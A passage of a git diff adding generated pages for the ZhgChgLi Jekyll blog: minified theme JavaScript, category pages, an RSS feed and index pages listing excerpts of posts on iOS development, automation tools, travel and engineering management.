r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),g=$("#topbar-title"),v=$("#search-wrapper"),h=$("#search-result-wrapper"),b=$("#search-results"),y=$("#search-input"),w=$("#search-hints"),C=$("html,body"),k="loaded",S="unloaded",T="input-focus",A="d-flex",j=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,C.scrollTop(0)}},{key:"off",value:function(){C.scrollTop(e.offset)}}]),e}();n(j,"offset",0),n(j,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(S),g.addClass(S),d.addClass(S),v.addClass(A),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),v.removeClass(A),f.removeClass(S),g.removeClass(S),d.removeClass(S)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){j.resultVisible||(j.on(),h.removeClass(S),m.addClass(S),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(b.empty(),w.hasClass(S)&&w.removeClass(S),h.addClass(S),m.removeClass(S),j.off(),y.val(""),j.resultVisible=!1)}}]),e}();function D(){return p.hasClass(k)}$(".collapse");var O=".code-header>button",F="fas fa-check",P="timeout",N="data-title-succeed",V="data-bs-original-title",q=2e3;function I(t){if($(t)[0].hasAttribute(P)){var e=$(t).attr(P);if(Number(e)>Date.now())return!0}return!1}function z(t){$(t).attr(P,Date.now()+q)}function L(t){$(t).removeAttr(P)}var M=$(O).children().attr("class");function U(t){t.parent().removeClass("shimmer")}var _,B,J,Y=function(){function e(){t(this,e)}return r(e,null,[{key:"attrTimestamp",get:function(){return"data-ts"}},{key:"attrDateFormat",get:function(){return"data-df"}},{key:"locale",get:function(){return $("html").attr("lang").substring(0,2)}},{key:"getTimestamp",value:function(t){return Number(t.attr(e.attrTimestamp))}},{key:"getDateFormat",value:function(t){return t.attr(e.attrDateFormat)}}]),e}();_=$(window),B=$("#back-to-top"),_.on("scroll",(function(){_.scrollTop()>50?B.fadeIn():B.fadeOut()})),B.on("click",(function(){_.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(t){return new bootstrap.Tooltip(t)})),0!==l.length&&l.off().on("click",(function(t){var e=$(t.target),r=e.prop("tagName")==="button".toUpperCase()?e:e.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",u.toggle),$("#mask").on("click",u.toggle),d.on("click",(function(){x.on(),E.on(),y.trigger("focus")})),p.on("click",(function(){x.off(),E.off()})),y.on("focus",(function(){v.addClass(T)})),y.on("focusout",(function(){v.removeClass(T)})),y.on("input",(function(){""===y.val()?D()?w.removeClass(S):E.off():(E.on(),D()&&w.addClass(S))})),(J=$("#core-wrapper img[data-src]")).length<=0||(document.addEventListener("lazyloaded",(function(t){U($(t.target))})),J.each((function(){$(this).hasClass("ls-is-cached")&&U($(this))}))),$(".popup")<=0||$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),dayjs.locale(Y.locale),dayjs.extend(window.dayjs_plugin_localizedFormat),$("[".concat(Y.attrTimestamp,"]")).each((function(){var t=dayjs.unix(Y.getTimestamp($(this))),e=t.format(Y.getDateFormat($(this)));$(this).text(e),$(this).removeAttr(Y.attrTimestamp),$(this).removeAttr(Y.attrDateFormat);var r=$(this).attr("data-bs-toggle");if(void 0!==r&&"tooltip"===r){var n=t.format("llll");$(this).attr("data-bs-title",n),new bootstrap.Tooltip($(this))}})),function(){if($(O).length){var t=new ClipboardJS(O,{target:function(t){return t.parentNode.nextElementSibling.querySelector("code .rouge-code")}});o(document.querySelectorAll(O)).map((function(t){return new bootstrap.Tooltip(t,{placement:"left"})})),t.on("success",(function(t){t.clearSelection();var e=t.trigger;I(e)||(!function(t){$(t).children().attr("class",F)}(e),function(t){var e=$(t).attr(N);$(t).attr(V,e).tooltip("show")}(e),z(e),setTimeout((function(){!function(t){$(t).tooltip("hide").removeAttr(V)}(e),function(t){$(t).children().attr("class",M)}(e),L(e)}),q))}))}$("#copy-link").on("click",(function(t){var e=$(t.target);I(e)||navigator.clipboard.writeText(window.location.href).then((function(){var t=e.attr(V),r=e.attr(N);e.attr(V,r).tooltip("show"),z(e),setTimeout((function(){e.attr(V,t),L(e)}),q)}))}))}(),document.querySelector("#core-wrapper h2,#core-wrapper h3")&&tocbot.init({tocSelector:"#toc",contentSelector:".post-content",ignoreSelector:"[data-toc-skip]",headingSelector:"h2, h3",orderedList:!1,scrollSmooth:!1})}(); diff --git a/categories/beginner/index.html b/categories/beginner/index.html new file mode 100644 index 0000000000..722cb83940 --- /dev/null +++ b/categories/beginner/index.html @@ -0,0 +1 @@ + Beginner | ZhgChgLi
diff --git a/categories/blog/index.html b/categories/blog/index.html new file mode 100644 index 0000000000..775e3f30cf --- /dev/null +++ b/categories/blog/index.html @@ -0,0 +1 @@ + Blog | ZhgChgLi
diff --git a/categories/dev/index.html b/categories/dev/index.html new file mode 100644 index 0000000000..661a823294 --- /dev/null +++ b/categories/dev/index.html @@ -0,0 +1 @@ + Dev. | ZhgChgLi
Home Categories Dev.
Category
Cancel

Dev. 65

diff --git a/categories/engineering/index.html b/categories/engineering/index.html new file mode 100644 index 0000000000..840ac312bc --- /dev/null +++ b/categories/engineering/index.html @@ -0,0 +1 @@ + Engineering | ZhgChgLi
diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 0000000000..cf42abf195 --- /dev/null +++ b/categories/index.html @@ -0,0 +1 @@ + Categories | ZhgChgLi
diff --git a/categories/kkday/index.html b/categories/kkday/index.html new file mode 100644 index 0000000000..66f95b5c44 --- /dev/null +++ b/categories/kkday/index.html @@ -0,0 +1 @@ + KKday | ZhgChgLi
diff --git a/categories/life/index.html b/categories/life/index.html new file mode 100644 index 0000000000..14b0d33d9d --- /dev/null +++ b/categories/life/index.html @@ -0,0 +1 @@ + Life. | ZhgChgLi
Home Categories Life.
Category
Cancel
diff --git a/categories/management/index.html b/categories/management/index.html new file mode 100644 index 0000000000..864ae69647 --- /dev/null +++ b/categories/management/index.html @@ -0,0 +1 @@ + Management | ZhgChgLi
diff --git a/categories/pinkoi/index.html b/categories/pinkoi/index.html new file mode 100644 index 0000000000..d422ecff51 --- /dev/null +++ b/categories/pinkoi/index.html @@ -0,0 +1 @@ + Pinkoi | ZhgChgLi
diff --git a/categories/tech/index.html b/categories/tech/index.html new file mode 100644 index 0000000000..f17bf36a39 --- /dev/null +++ b/categories/tech/index.html @@ -0,0 +1 @@ + Tech | ZhgChgLi
diff --git a/categories/travelogue/index.html b/categories/travelogue/index.html new file mode 100644 index 0000000000..7276ce247c --- /dev/null +++ b/categories/travelogue/index.html @@ -0,0 +1 @@ + Travelogue | ZhgChgLi
diff --git a/categories/travelogues/index.html b/categories/travelogues/index.html new file mode 100644 index 0000000000..122295daa5 --- /dev/null +++ b/categories/travelogues/index.html @@ -0,0 +1 @@ + Travelogues | ZhgChgLi
diff --git a/categories/z/index.html b/categories/z/index.html new file mode 100644 index 0000000000..3285dffa59 --- /dev/null +++ b/categories/z/index.html @@ -0,0 +1 @@ + Z | ZhgChgLi
diff --git a/categories/zrealm/index.html b/categories/zrealm/index.html new file mode 100644 index 0000000000..bd1e84b55e --- /dev/null +++ b/categories/zrealm/index.html @@ -0,0 +1 @@ + ZRealm | ZhgChgLi
Home Categories ZRealm
Category
Cancel

ZRealm 84

diff --git a/contact/index.html b/contact/index.html new file mode 100644 index 0000000000..9fb8982b68 --- /dev/null +++ b/contact/index.html @@ -0,0 +1 @@ + Contact | ZhgChgLi
Home Contact
Contact
Cancel
diff --git a/feed.xml b/feed.xml new file mode 100644 index 0000000000..f17e278f63 --- /dev/null +++ b/feed.xml @@ -0,0 +1 @@ + https://en.zhgchg.li/ZhgChgLiZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活 2024-09-22T01:07:51+08:00 ZhgChgLi https://en.zhgchg.li/ Jekyll © 2024 ZhgChgLi /assets/img/favicons/favicon.ico /assets/img/favicons/favicon-96x96.png Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 182024-09-20T21:03:42+08:00 2024-09-20T21:03:42+08:00 https://en.zhgchg.li/posts/9e43897d99fc/ ZhgChgLi Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18 Starting from iOS ≥ 18, merging NSAttributedString attributes Range will reference Equatable Photo by C M Issue Origin After the launch of iOS 18 on September 17, 2024, a developer reported a crash when parsing HTML in the open-source project ZMarkupParser. Seeing this issue was a bit confusing because the progra... Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern2024-09-06T13:47:47+08:00 2024-09-07T16:45:32+08:00 https://en.zhgchg.li/posts/f4b02ee342a4/ ZhgChgLi Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy &amp; Chain of Responsibility Pattern Scenarios of using Design Patterns (Strategy, Chain of Responsibility, Builder Pattern) when encapsulating iOS WKWebView. Photo by Dean Pugh About Design Patterns Before discussing Design Patterns, it is worth mentioning that the most classic GoF 23 design patterns were... Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip2024-08-25T01:23:20+08:00 2024-09-13T14:50:45+08:00 https://en.zhgchg.li/posts/b7e7c0938985/ ZhgChgLi [Travelogue] 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip Returning to Thailand after the pandemic, a quick 5-day free and easy trip to Bangkok. Memories of Bangkok Going back to 2018, it was the first company trip of my first job after entering the workforce, and also my first time traveling abroad, to Bangkok + Hua Hin (5 days); the following year in 2019, I went to Sabah with colleagues on ... iOS Temporary Workaround for Black Launch Screen Bug After Several Launches2024-08-20T23:32:04+08:00 2024-08-20T23:32:04+08:00 https://en.zhgchg.li/posts/7584f643c0aa/ ZhgChgLi [iOS] Temporary Workaround for Black Launch Screen Bug After Several Launches Temporary workaround to solve XCode Build &amp; Run app black screen issue Photo by Etienne Girardet Issue I don’t know when XCode started (maybe 14?) some projects will freeze on a black screen after multiple Build &amp; Run on the simulator. The status stays at “Launching Application…” without any response; ev... iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks2024-08-19T23:56:48+08:00 2024-08-20T23:45:32+08:00 https://en.zhgchg.li/posts/309d0302877b/ ZhgChgLi iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks iOS uses Shortcuts to easily automate forwarding specific text messages to Line and automatically create reminders for parcel collection and credit card payment Photo by Jakub Żerdzicki Background Shortcuts (formerly Workflow) is a new feature introduced in iOS 12; it allows users to c... diff --git a/index.html b/index.html new file mode 100644 index 0000000000..d904ffb550 --- /dev/null +++ b/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

The Craft of Building a Handmade HTML Parser

The Craft of Building a Handmade HTML Parser The development log of ZMarkupParser HTML to NSAttributedString rendering engine Tokenization conversion of HTML String, Normalization processing, gen...

Preview Image

Record of Practical Application of Design Patterns

Record of Practical Application of Design Patterns Record of problem scenarios encountered and solutions applied when encapsulating Socket.IO Client Library requirements using Design Patterns P...

Preview Image

The Past and Present of iOS Privacy and Convenience

The Past and Present of iOS Privacy and Convenience Apple’s privacy principles and the adjustments to privacy protection features in iOS over the years Theme by slidego [2023–08–01] iOS 17 Upda...

Preview Image

Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18

Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18 Starting from iOS ≥ 18, merging NSAttributedString attributes Range will reference Equatable Photo by C M Issue Origin...

Preview Image

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy &amp; Chain of Responsibility Pattern Scenarios of using Design Patterns (Strategy, Chain of Responsibility, Bui...

Preview Image

Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip

[Travelogue] 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip Returning to Thailand after the pandemic, a quick 5-day free and easy trip to Bangkok. Memories of Bangkok Going back to 2018, it was the ...

Preview Image

iOS Temporary Workaround for Black Launch Screen Bug After Several Launches

[iOS] Temporary Workaround for Black Launch Screen Bug After Several Launches Temporary workaround to solve XCode Build &amp; Run app black screen issue Photo by Etienne Girardet Issue I don’...

Preview Image

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks iOS uses Shortcuts to easily automate forwarding specific text messages to Line and automatic...

Preview Image

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session Vision framework review &amp; trying out new Swift API in iOS 18 Photo by BoliviaInteligente Topic ...

Preview Image

Medium Partner Program is finally open to global (including Taiwan) writers!

Medium Partner Program is finally open to global (including Taiwan) writers! Everyone can join the Medium Partner Program to earn revenue by writing articles. Photo by Steve Johnson Murmur Th...

diff --git a/norobots/index.html b/norobots/index.html new file mode 100644 index 0000000000..3a8a2a1076 --- /dev/null +++ b/norobots/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/page10/index.html b/page10/index.html new file mode 100644 index 0000000000..932d121860 --- /dev/null +++ b/page10/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

All About iOS UUID (Swift/iOS ≥ 6)

All About iOS UUID (Swift/iOS ≥ 6) iPlayground 2018 Recap &amp; All About UUID Introduction: Last Saturday and Sunday, I attended the iPlayground Apple software developer conference. This event ...

Preview Image

Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift)

[Deprecated] Enhance User Experience by Adding 3D TOUCH to Your iOS APP (Swift) iOS 3D TOUCH Application [Deprecated] 2020/06/14 3D Touch functionality has been removed in iPhone 11 and later...

Preview Image

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself! Explore CoreML 2.0, how to convert or train models and apply them in real ...

Preview Image

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift) Practical Application of Vision [2024/08/13 Update] Refer to the new article and API: “iOS Vision framewor...

Preview Image

iOS ≥ 10 Notification Service Extension Application (Swift)

iOS ≥ 10 Notification Service Extension Application (Swift) Image push notifications, push notification display statistics, pre-processing before push notification display Regarding the basics of...

Preview Image

iOS UITextView Text Wrapping Editor (Swift)

iOS UITextView Text Wrapping Editor (Swift) Practical Route Target Functionality: The app has a discussion area where users can post articles. The interface for posting articles needs to support...

Preview Image

First Post on Medium

The Beginning is Always the Hardest It has been over 4 years since I last managed a blog. The remaining ad revenue of US$88 has been stuck there. Recently, I discovered that I could request to can...

diff --git a/page2/index.html b/page2/index.html new file mode 100644 index 0000000000..688c74dd55 --- /dev/null +++ b/page2/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Research on Preloading and Caching Page and File Resources in iOS WKWebView

Research on Preloading and Caching Page and File Resources in iOS WKWebView Study on improving page loading speed by preloading and caching resources in iOS WKWebView. Photo by Antoine Gravier ...

Preview Image

Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise

[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise Boarding the Shin Arashiyama Camellia Cruise from Busan, South Korea to Fukuoka, Japan, v...

Preview Image

Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS

[iOS] Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString Implementing list indentation similar to HTML List OL/UL/LI using NSTextList or NSTextTab with NSAtt...

Preview Image

Plane.so Docker Self-Hosted Setup Record

Plane.so Docker Self-Hosted Setup Record Plane Self-Hosted Docker setup, backup, restore, Nginx Domain reverse proxy configuration tutorial Introduction Plane.so is a free open-source project ...

Preview Image

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira Introduction to the use of Plane.so project management tool with Scurm process Background Asana ...

Preview Image

What Can Be Done to Commemorate When an App Product Reaches Its End?

What Can Be Done to Commemorate When an App Product Reaches Its End? Using mitmproxy + apple configurator to keep an App in its pre-removal state forever Introduction Jujutsu Kaisen After wor...

Preview Image

Implementing Google Services RPA Automation with Google Apps Script

Implementing Google Services RPA Automation with Google Apps Script Implementing Robotic Process Automation for Google Workspace services using Google Apps Script Photo by Possessed Photography...

Preview Image

Slack & ChatGPT Integration

Slack &amp; ChatGPT Integration Build your own ChatGPT OpenAI API for Slack App (Google Cloud Functions &amp; Python) Background Recently, I have been promoting the use of Generative AI within t...

Preview Image

Travelogue 2023 Hiroshima Okayama 6-Day Free Trip

[Travelogue] 2023 Hiroshima Okayama 6-Day Free Trip 6-day trip to Hiroshima, Okayama, Fukuyama, Kurashiki, and Onomichi in 2023 Preface After resigning at the end of August and immediately embar...

Preview Image

Travelogue 2023 Kyushu 10-Day Solo Trip

[Travelogue] 2023 Kyushu 10-Day Solo Trip Record of a 10-day solo trip to Fukuoka, Nagasaki, and Kumamoto in Kyushu [2024 Update] Second Visit to Kyushu Visited Kyushu for the second time in J...

diff --git a/page3/index.html b/page3/index.html new file mode 100644 index 0000000000..8f1513433f --- /dev/null +++ b/page3/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Travelogue 9/11 Nagoya One-Day Flash Free Travel

[Travelogue] 9/11 Nagoya One-Day Flash Free Travel Peach Aviation Nagoya One-Day Flash Ticket Travel Experience Background A round-trip ticket for a day trip to Nagoya is an activity launched by...

Preview Image

POC App End-to-End Testing Local Snapshot API Mock Server

[POC] App End-to-End Testing Local Snapshot API Mock Server Verification of the feasibility of implementing E2E Testing for existing apps and existing API architecture Photo by freestocks Intro...

Preview Image

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps Writing GAS to connect Github Webhook and forward star notifications to Line Introduction As a maintainer of op...

Preview Image

Travelogue 2023 Tokyo 5-Day Free and Easy Trip

[Travelogue] 2023 Tokyo 5-Day Free and Easy Trip Record and travel information for a 5-day free and easy trip to Tokyo in June 2023, following the Kansai region trip last month. 2023/05 Kansai Re...

Preview Image

Travelogue 2023 Kansai 8-Day Free and Easy Trip

[Travelogue] 2023 Kansai 8-Day Free and Easy Trip Record of an 8-day free and easy trip to Kyoto, Osaka, and Kobe in May 2023, including information on food, accommodation, and transportation. Pr...

Preview Image

ZMediumToJekyll

ZMediumToJekyll Move your Medium posts to a Jekyll blog and keep them in sync in the future. This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future...

Preview Image

ZMarkupParser HTML String to NSAttributedString Tool

ZMarkupParser HTML String to NSAttributedString Tool Convert HTML String to NSAttributedString with corresponding Key style settings ZhgChgLi / ZMarkupParser ZhgChgLi / ZMarkupParser Featur...

Preview Image

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk Pinkoi Developers’ Night 2022 Year-End Exchange Meeting — 15 Minutes Career Sharing Talk Pinkoi Developers’ Night 2022 Year-End Exchange Meet...

Preview Image

ZReviewTender — Free Open Source App Reviews Monitoring Bot

ZReviewTender — Free Open Source App Reviews Monitoring Bot Real-time monitoring of the latest app reviews and providing instant feedback to improve collaboration efficiency and consumer satisfact...

Preview Image

App Store Connect API Now Supports Reading and Managing Customer Reviews

App Store Connect API Now Supports Reading and Managing Customer Reviews App Store Connect API 2.0+ comprehensive update, supports In-app purchases, Subscriptions, Customer Reviews management 202...

diff --git a/page4/index.html b/page4/index.html new file mode 100644 index 0000000000..15c868ac34 --- /dev/null +++ b/page4/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Painless Migration from Medium to Self-Hosted Website

Painless Migration from Medium to Self-Hosted Website Migrating Medium content to Github Pages (with Jekyll/Chirpy) zhgchg.li Background In the fourth year of running Medium, I have accumulate...

Preview Image

iOS: Insuring Your Multilingual Strings!

iOS: Insuring Your Multilingual Strings! Using SwifGen &amp; UnitTest to ensure the safety of multilingual operations Photo by Mick Haupt Problem Plain Text Files iOS handles multilingual su...

Preview Image

Visitor Pattern in TableView

Visitor Pattern in TableView Enhancing the readability and extensibility of TableView using the Visitor Pattern Photo by Alex wong Introduction Following the previous article on “Visitor Patt...

Preview Image

Implementing iOS NSAttributedString HTML Render Yourself

Implementing iOS NSAttributedString HTML Render Yourself An alternative to iOS NSAttributedString DocumentType.html Photo by Florian Olivo [TL;DR] 2023/03/12 Re-developed using another method ...

Preview Image

Converting Medium Posts to Markdown

Converting Medium Posts to Markdown Writing a small tool to back up Medium articles &amp; convert them to Markdown format ZhgChgLi / ZMediumToMarkdown [EN] ZMediumToMarkdown I’ve written a pro...

Preview Image

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate Using Google Apps Script to query Crashlytics through Google Analytics and automatically fill it into Google Sheet ...

Preview Image

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool Integrating Crashlytics and Big Query to automatically forward crash records to a Slack Channel Results ...

Preview Image

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team Decoding the high-efficiency engineering team at Pinkoi Tech Talk Decoding the High-Efficiency Engineering Team 202...

Preview Image

Using Google Apps Script to Forward Gmail Emails to Slack

Using Google Apps Script to Forward Gmail Emails to Slack Use Gmail Filter + Google Apps Script to automatically forward customized content to Slack Channel when receiving emails Photo by Lukas...

Preview Image

Productivity Tools: Abandon Chrome and Embrace Sidekick Browser

[Productivity Tools] Abandon Chrome and Embrace Sidekick Browser Introduction and Experience with Sidekick Browser 2024 Update Around early 2023, I switched to using Arc Browser! The user experi...

diff --git a/page5/index.html b/page5/index.html new file mode 100644 index 0000000000..2e0fe304eb --- /dev/null +++ b/page5/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Leading Snowflakes Reading Notes

Leading Snowflakes — Reading Notes “Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen Entering a management position for the first time can be very confusing; the knowledge...

Preview Image

Visitor Pattern in iOS (Swift)

Visitor Pattern in Swift (Share Object to XXX Example) Analysis of the practical application scenarios of the Visitor Pattern (sharing items like products, songs, articles… to Facebook, Line, Link...

Preview Image

Building a Fully Automated WFH Employee Health Reporting System with Slack

Building a Fully Automated WFH Employee Health Reporting System with Slack Enhancing work efficiency by playing with Slack Workflow combined with Google Sheet with App Script Photo by Stephen P...

Preview Image

ZReviewsBot — Slack App Review Notification Bot

ZReviewsBot — Slack App Review Notification Bot Free and open-source iOS &amp; Android APP latest review tracking Slack Bot TL;DR [2022/08/10] Update: Now redesigned using the new App Store Conn...

Preview Image

AppStore APP’s Reviews Bot Insights

AppStore APP’s Reviews Slack Bot Insights Using Ruby+Fastlane-SpaceShip to build an APP review tracking notification Slack bot Photo by Austin Distel Ignorance is bliss AppReviewBot as an ex...

Preview Image

Quickly Build a Testable API Service Using Firebase Firestore + Functions

Quickly Build a Testable API Service Using Firebase Firestore + Functions When push notification statistics meet Firebase Firestore + Functions Photo by Carlos Muza Introduction Accurate Push N...

Preview Image

Password Recovery SMS Verification Code Security Issue

Password Recovery SMS Verification Code Security Issue Demonstrating the severity of brute force attacks using Python Photo by Matt Artz Introduction This article doesn’t contain much technica...

Preview Image

Bye Bye 2020: A Review of the Second Year on Medium

Bye Bye 2020: A Review of the Second Year on Medium A very late review of 2020 Image taken from the official poster of Simple Life Festival 2020, where I served as an iOS Developer for StreetVo...

Preview Image

Medium Custom Domain Feature Returns

Medium Custom Domain Feature Returns Take care of your Domain Authority yourself! [2024/07/28] Feature Returns A series of ups and downs, this feature was opened in 2012, then closed; reopen...

Preview Image

Revealing a Clever Website Vulnerability Discovered Years Ago

Revealing a Clever Website Vulnerability Discovered Years Ago Website security issues caused by multiple vulnerabilities combined Photo by Tarik Haiga Introduction A few years ago, while still...

diff --git a/page6/index.html b/page6/index.html new file mode 100644 index 0000000000..6405178753 --- /dev/null +++ b/page6/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks Creating a daily automatic check-in script using a check-in reward app as an example Photo by Paweł Czerwiński Origin I ha...

Preview Image

Reinstallation Note 1 - Laravel Homestead + phpMyAdmin Environment Setup

[Reinstallation Note 1] - Laravel Homestead + phpMyAdmin Environment Setup Setting up a Laravel development environment from scratch and managing MySQL databases with phpMyAdmin GUI Laravel ...

Preview Image

What's New with Universal Links

What’s New with Universal Links iOS 13, iOS 14 What’s New with Universal Links &amp; Setting Up a Local Testing Environment Photo by NASA Preface For a service that has both a website and an ...

Preview Image

iOS Cross-Platform Account and Password Integration to Enhance Login Experience

iOS Cross-Platform Account and Password Integration to Enhance Login Experience A feature more worthwhile than Sign in with Apple Photo by Dan Nelson Features One of the most common problems i...

Preview Image

Comprehensive Guide to Implementing Local Cache with AVPlayer

Comprehensive Guide to Implementing Local Cache with AVPlayer AVPlayer/AVQueuePlayer with AVURLAsset implementing AVAssetResourceLoaderDelegate Photo by Tyler Lastovich [2023/03/12] Update I...

AVPlayer Real-time Cache Implementation

[Old] AVPlayer Real-time Cache Implementation Understanding the implementation of AVPlayer/AVQueuePlayer with AVURLAsset using AVAssetResourceLoaderDelegate [2021–01–31] Article Announcement: Art...

Preview Image

iOS APP Version Numbers Explained

iOS APP Version Numbers Explained Version number rules and comparison solutions Photo by James Yarema Introduction All iOS APP developers will encounter two numbers, Version Number and Build N...

Preview Image

Apple Watch Original Stainless Steel Milanese Loop Unboxing

Apple Watch Original Stainless Steel Milanese Loop Unboxing Apple Original Stainless Steel 44mm Graphite Milanese Loop Unboxing Following the previous post “Apple Watch Series 6 Unboxing &amp; Tw...

Preview Image

Apple Watch Series 6 Unboxing & Two-Year Usage Experience

Apple Watch Series 6 Unboxing &amp; Two-Year Usage Experience Apple Watch Series 6 Unboxing and Buying Guide &amp; Two-Year Usage Experience Summary Preface Time flies, it’s been two years since...

Preview Image

Write Run Script Directly in Swift with Xcode!

Write Shell Script Directly in Swift with Xcode! Introducing Localization multi-language and Image Assets missing check, using Swift to create Shell Script Photo by Glenn Carstens-Peters Backgr...

diff --git a/page7/index.html b/page7/index.html new file mode 100644 index 0000000000..7c35045fbd --- /dev/null +++ b/page7/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience Why do so many iOS apps read your clipboard? Photo by Clint Patterson ⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes St...

Preview Image

Real-World Codable Decoding Issues (Part 2)

Real-World Codable Decoding Issues (Part 2) Handling Response Null Fields Reasonably, No Need to Always Rewrite init decoder Photo by Zan Introduction Following the previous article “Real-Worl...

Preview Image

Is it Still Up-to-Date to Build a Personal Website Using Google Site?

Is it Still Up-to-Date to Build a Personal Website Using Google Site? New Google Site Personal Website Building Experience and Setup Tutorial Update 2022–07–17 Currently, I have used my self-w...

Preview Image

Real-world Decode Issues with Codable

Real-world Decode Issues with Codable (Part 1) From basic to advanced, deeply using Decodable to meet all possible problem scenarios Photo by Gustas Brazaitis Preface Due to the backend API up...

Preview Image

Easily Create a 'Fake' Transparent Perspective Wallpaper Using iPhone

Easily Create a ‘Fake’ Transparent Perspective Wallpaper Using iPhone Using iMovie’s green screen keying feature to composite videos Anyway, I’m Bored Working during the day, exploited by capita...

Preview Image

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips Demonstrating the use of Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKit ...

Preview Image

Exploring Methods for Implementing iOS HLS Cache

Exploring Methods for Implementing iOS HLS Cache How to achieve caching while playing m3u8 streaming video files using AVPlayer photo by Mihis Alex [2023/03/12] Update The next article, “Com...

Preview Image

First Experience with iOS Reverse Engineering

First Experience with iOS Reverse Engineering Exploring the process from jailbreaking, extracting iPA files, shelling, to UI analysis, injection, and decompilation About Security The only thing ...

Preview Image

iOS Expand Button Click Area

iOS Expand Button Click Area Rewrite pointInside to expand the touch area In daily development, it is often encountered that after arranging the UI according to the design, the screen looks beaut...

Preview Image

Medium One-Year Review

Medium One-Year Review A review of one year on Medium or a summary of 2019 In the blink of an eye, it’s been a year since I started publishing articles on Medium. The actual anniversary should be...

diff --git a/page8/index.html b/page8/index.html new file mode 100644 index 0000000000..15a5fc0bd7 --- /dev/null +++ b/page8/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Mi Home APP / Xiao Ai Speaker Region Issues

Mi Home APP / Xiao Ai Speaker Region Issues Newly purchased Xiaomi Air Purifier 3 &amp; recording the linkage issues between Mi Home and Xiao Ai Speaker Preface This is the fourth article about ...

Preview Image

